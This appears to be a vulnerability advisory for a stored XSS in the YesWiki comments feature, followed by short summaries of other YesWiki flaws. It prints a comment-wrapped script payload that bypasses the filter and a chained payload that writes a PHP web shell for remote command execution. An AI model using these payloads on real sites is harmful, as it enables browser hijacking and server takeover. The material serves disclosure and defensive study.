A stored cross-site scripting (XSS) vulnerability was discovered in the application’s comments feature. This issue allows a malicious actor to inject JavaScript payloads that are stored and later executed in the browser of any user viewing the affected comment.
The XSS occurs because the application fails to properly sanitize or encode user input submitted to the comments. Notably, the application sanitizes or does not allow execution of <script> tags, but does not account for payloads obfuscated using JavaScript block comments like / JavaScriptPayload /.
PoC Navigate to a site and page that allows comments and place this in the comments section and submit it:
/<script>alert('pizzapower')</script>/
Upon submitting to the page, it will run. And then upon every page visit, it will run.
Impact
An attacker can run arbitrary JS in the victim's browser (any user that visits the page with the comments). This can be chained to do many malicious actions, such as to achieve RCE when chained with another vulnerability, e.g.:
/<script>fetch("/?api/templates/custom-presets/anhtyjik.php",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"primary-color=%3C%3Fphp+system%28%24GET%5B%27cmd%27%5D%29%3B+%3F%3E&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif"});</script>/
Then you can visit http://localhost:8085/custom/css-presets/anhtyjik.php?cmd=id and see the output of the ID command.
YesWiki version <= cercopitheque beta 1 contains a PHP Object Injection vulnerability in Unserialising user entered parameter in i18n.inc.php that can result in execution of code, disclosure of information.
SQL injection vulnerability in the "Bazar" page in Yeswiki Cercopitheque 2018-06-19-1 and earlier allows attackers to execute arbitrary SQL commands via the "id" parameter.
An SQL Injection vlnerability exits in Yeswiki doryphore 20211012 via the email parameter in the registration form.